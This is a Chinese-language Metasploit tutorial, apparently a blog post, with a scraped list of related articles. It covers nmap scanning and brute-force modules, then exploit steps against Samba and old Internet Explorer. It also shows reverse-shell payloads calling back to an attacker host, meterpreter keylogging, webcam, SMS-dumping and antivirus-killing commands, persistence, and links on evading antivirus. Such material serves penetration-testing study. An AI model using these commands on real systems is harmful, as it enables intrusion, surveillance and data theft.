metasploit篇
第一部分:基本使用
1、在kali中metasploit默认使用postgresql作为它的数据库;
/etc/init.d/postgresql start
开机自启:update-rc.d postgresql enable。
2、初次使用数据库服务时需初始化,以便创建系统默认的数据库及数据库用户;
msfdb init(默认创建的数据库名:msf,msf_test;用户名:msf;口令默认为空)
成功初始化会输出如下信息:

3、启动metasploit:msfconsole
4、查看数据库连接状态


5、工作台相关指令:
workspace -a test 新建test工作台

workspace -d test 删除test工作台
workspace test 切换到test工作台
6、获取帮助信息

7、使用nmap(支持扫描域名,不过会很慢,不推荐)
db_nmap -sS 123.110.112.210 扫描主机
db_export 1.xml 导出扫描结果(导出到当前工作路径)
db_import 1.xml 导入扫描结果
hosts 查看扫描结果
第二部分:信息收集模块
nmap探测开放端口和服务
-sS sync半开扫描
-Pn 不使用ping方式探测主机
-A 探测服务类型
-O 探测操作系统类型
常用组合:
db_nmap -sS -Pn -A -O 123.110.111.210
查看扫描结果:
db_services 查看扫描结果
扩展组合:
nmap -T4 -A-v 深入式扫描
nmap -sS -sU -T4 -A-v 同上,且扫UDP
nmap -p 1-65535 -T4 -A-v 扫描所有TCP端口
nmap -T4 -A-v -Pn 不使用ping
nmap -T4 -A-v -sn 使用ping
nmap -T4 -F 快速扫描
nmap -sV -T4 -O -F --version-light 加强版快速扫描
nmap -sn --traceroute 快速路由跟踪扫描
nmap -sS -Pn -A -oX subnet1 123.110.221.120/24 将扫描结果导出为subnet1.xml
模块使用方式示例:
search telnet 搜索相应模块
use auxiliary/scanner/telnet/telnet_version 使用相应模块
show options 查看可设置的选项
set RHOST 123.120.111.210/24 设置IP地址
set THREADS 50 设置线程数
run(或exploit) 开始扫描
常用扫描模块:
auxiliary/scanner/telnet/telnet_version 扫描开放了telnet的主机
auxiliary/scanner/ssh/ssh_version 扫描ssh主机
auxiliary/scanner/mssql/mssql_ping 扫描mssql主机
auxiliary/scanner/ftp/ftp_version 扫描ftp主机
auxiliary/scanner/ftp/anonymos 扫描ftp匿名登录
auxiliary/scanner/discovery/arp_sweep 扫描局域网内有哪些主机存活
auxiliary/scanner/http/dir_scanner 扫描网站目录
auxiliary/scanner/snmp/snmp_login 扫描snmp主机
第三部分:密码爆破
爆破方式,利用密码文件进行爆破,使用方式同上,只是设置选项常用的多了两个,可通过show options查看到
set USERNAME root 设置需要爆破的用户名
set PASS_FILE /root/pass.txt 设置爆破需要调用的字典文件
set USER_FILE /root/user.txt 通过文件调用需要爆破的用户名
常用模块:
auxiliary/scanner/ssh/ssh_login ssh密码爆破
auxiliary/scanner/http/tomcat_mgr_login tomcat密码爆破
auxiliary/scanner/mysql/mysql_login mysql口令爆破
auxiliary/scanner/smb/smb_version samba爆破
第四部分:漏洞利用
linux samba漏洞
search samba
use linux/samba/lsa_transnames_heap
show payloads 查看载荷
set payload linux/x86/shell_bind_tcp 设置载荷,这是linux的一个反弹shell
set Lport 8080
set RHOST 192.168.2.116
exploit
dll 注入漏洞
针对windows低版本的浏览器(IE6)通过访问一个指定的URL地址,从而留下一个会话,利用此会话可以查看被攻击对象的详细信息
use exploit/windows/browser/webdav_dll_hijacker
set payload windows/meterpreter/bind_tcp
show options
set SRVHOST 192.168.1.211
set LHOST 192.168.1.211 设置本地地址
set RHOST 192.168.1.127 设置要攻击的机器的地址
set LPORT 1215 本地监听的端口
实战举例:
search ms12-004 找到漏洞的编号
show options
use exploit/windows/browser/ms12-004_midi 利用此漏洞,从名字可以看出是和浏览器相关的一个漏洞
set PAYLOAD windows/meterpreter/reverse_tcp 生成一个windows下的反弹shell
set LHOST 192.168.1.102
show targets
exploit 开始攻击
Windows相关漏洞编号及相关信息可在此网站寻找:https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-023
metasploit常用漏洞利用命令:
show targets 显示目标(OS版本)
set target <target_number> 设置目标编号
exploit 开始
session -l <ID> 列出会话
session -i <ID> 选择会话
session -k <ID> 结束会话
<ctrl> z 把会话放到后台
<ctrl> c 结束会话
show auxiliary 显示辅助模块
use <auxiliary name> 使用辅助模块
set <option name> <option> 设置选项
run 运行
第五部分:shell_code
Windows:
1、生成shell_code:(可直接在终端shell下操作)
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.213 LPORT=1121 X > /root/shell.exe
2、侦听shell_code:
新开一个窗口
msf> use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp 设置反弹shell
set LHOST 192.168.12.76 设置源IP
set LPORT 1127 设置源端口
exploit 发起侦听
或者
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.12.76 LPORT=1127 E
一条语句搞定
3、将生成的shell.exe传到被攻击的机器上执行一下
4、控制端查看是否收到反弹shell
==================================================
Linux:
同上,改模块为:linux/x86/meterpreter/reverse_tcp
java:(shell后缀名为jar)
同上,改模块为:java/meterpreter/reverse_tcp
php:
同上,改模块为:php/meterpreter/reverse_tcp
android:(shell后缀名为apk)
同上,改模块为:android/meterpreter/reverse_tcp
安卓常用命令:
dump_contacts 导出电话
dump_sms 导出信息
webcam_list 可以看到有几个摄像头
-i 1 选择后摄像头
webcam_stream 开启摄像头
webcam_snap 拍照截屏
meterpreter基本命令:
截屏:screenshot
获取系统运行的平台:sysinfo
获取键盘记录:keyscan_start或keyscan_dump
查看进程:ps
切换进程:migrage 1774
记录键盘输入:run post/windows/capture/keylog_recorder
进程迁移:run post/windows/manage/migrate
查看目标机所有流量:run packetrecorder -i 1
提取系统信息:run scraper
关闭杀毒软件:run killav
查看主机是真实机还是虚拟机:run checkvm
添加用户:run getgui
显示远程机器的防火墙规则:run getcountermeasure
免杀系列
shellter免杀:参见 https://blog.csdn.net/sufeiboy/article/details/65939342
veil和msfvenom免杀 参见:https://blog.csdn.net/wyf12138/article/details/79825833
第六部分:持久控制
run persistence -X -i -p -r 192.168.12.123 当你生成的exe后门在客户机上正在执行的时候,通过这条命令代表将其加入到自启动里面,并每50秒检查一次
msf> use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp 设置反弹shell
set LHOST 192.168.12.76 设置源IP
set LPORT 设置源端口
exploit 发起侦听
./msfpayload win32_reverse LHOST=192.168.1.117 LPORT=444 R | ./msfencode -b "\x00\x0a\x0d" //Windows版
./msfpayload linux/x86/shell_bind_tcp LPORT=4444 R | msfencode -b "\x00\x0a\x0d\x20" //Linux版
以上命令的作用是生成一个反弹shell,并且对其进行编码,把16进制的\x00\x0a\x0d给排除掉,主要是在缓冲区溢出的时候能够用到
添加入站规则,非本机127.0.0.1访问本机的4444和13327都DROP掉,通常用于本机测试
• iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP
• iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP
metasploit篇的更多相关文章
- TGL站长关于常见问题的回复
问题地址: http://www.thegrouplet.com/thread-112923-1-1.html 问题: 网站配有太多的模板是否影响网站加载速度 月光答复: wp不需要删除其他的模板,不 ...
- metasploit 渗透测试笔记(基础篇)
0x00 背景 笔记在kali linux(32bit)环境下完成,涵盖了笔者对于metasploit 框架的认识.理解.学习. 这篇为基础篇,并没有太多技巧性的东西,但还是请大家认真看啦. 如果在阅 ...
- Metasploit学习指南—基础篇
Metasploit是一款强大的渗透测试平台,其中包括了很多渗透测试利器,本文简单介绍一下Metasploit的配置和基础的使用方法,主要包括以下几个方面: Metasploit的核心 基础的配置 M ...
- metasploit渗透测试笔记(内网渗透篇)
x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...
- metasploit 渗透测试笔记(meterpreter篇)
0x01 背景 meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式. 需要说明的是meterpreter在漏洞利用成功后会发送第二阶段的代码和me ...
- Metasploit 内网渗透篇
0x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. ...
- Metasploit域渗透测试全程实录(终结篇)
本文作者:i春秋签约作家——shuteer 前言 内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里.于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴 ...
- [转]初探Metasploit的自动攻击
1. 科普Metasploit 以前只是个Back Track操作系统(简称:BT) 下的攻击框架,自成继承了后攻击渗透模块,隐隐有成为攻击平台的趋势. 我们都戏称它为美少妇,很简单,msf. 它 ...
- 移动安全初探:窃取微信聊天记录、Hacking Android with Metasploit
在这篇文章中我们将讨论如何获取安卓.苹果设备中的微信聊天记录,并演示如何利用后门通过Metasploit对安卓设备进行控制.文章比较基础.可动手性强,有设备的童鞋不妨边阅读文章边操作,希望能激发大家对 ...
随机推荐
- iOS常用算法之两个有序数组合并, 要求时间复杂度为0(n)
思路: 常规思路: 先将一个数组作为合并后的数组, 然后遍历第二个数组的每项元素, 一一对比, 直到找到合适的, 就插入进去; 简单思路: 设置数组C, 对比A和B数组的首项元素, 找到最小的, 就放 ...
- layui 获取radio单选框选中的值
Layui 获取 radio的值,layui判断radio选中的单选值 layui form 表单获取radio选中的值 首先准备两个radio <input type="radio& ...
- 【转载】C++:switch红色下划线,Error:控制传输跳过的实例化解决办法
转载链接:https://blog.csdn.net/figoleon/article/details/50072029
- 使用python对整个网页进行截图
方法一.使用PyQt4的QtWebKit组件 ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ...
- 手工挖掘web常见漏洞时的一些经验总结
一.前提: 漏洞挖掘原则 所有变量 所有头 cookie中的变量 逐个变量删除 漏洞的本质 数据与指令的混淆 对用户输入信息过滤不严判断失误,误将数据当指令 二.经典漏洞: 1.身份认证 常用弱口令/ ...
- elementui入门以及nodeJS环境搭建
1. ElementUI简介 我们学习VUE,知道它的核心思想式组件和数据驱动,但是每一个组件都需要自己编写模板,样式,添加事件,数据等是非常麻烦的, 所以饿了吗推出了基于VUE2.0的组件库,它的名 ...
- 第五章 与HTTP协作的Web服务器
第五章 与HTTP协作的Web服务器 一台Web服务器可搭建多个独立域名的Web网站,也可以作为通信路径上的中转服务器提升传输效率. 1.用单台虚拟机实现多个域名 HTTP/1.1规范允许一台HTT ...
- C# Stack 集合学习
Stack 集合学习 学习自:博客园相关文章 Stack<T>集合 这个集合的特点为:后进先出,简单来说就是新元素都放到第一位,而且顺序移除元素也是从第一位开始的. 方法一:Push(T ...
- Nginx与keepalived实现高可用
主keepalived设置 #安装keepalived [root@localhost ~]# yum -y install keepalived #安装nginx [root@localhost ~ ...
- [java 基础]反射入门
原文 概况 使用java的反射,可以让我们检查(或者修改)类,接口,字段,方法的特性.当你在编译期不知道他们的名字的时候非常有用. 除此之外,可以使用反射来创建实例,调用方法或者get/set 字段值 ...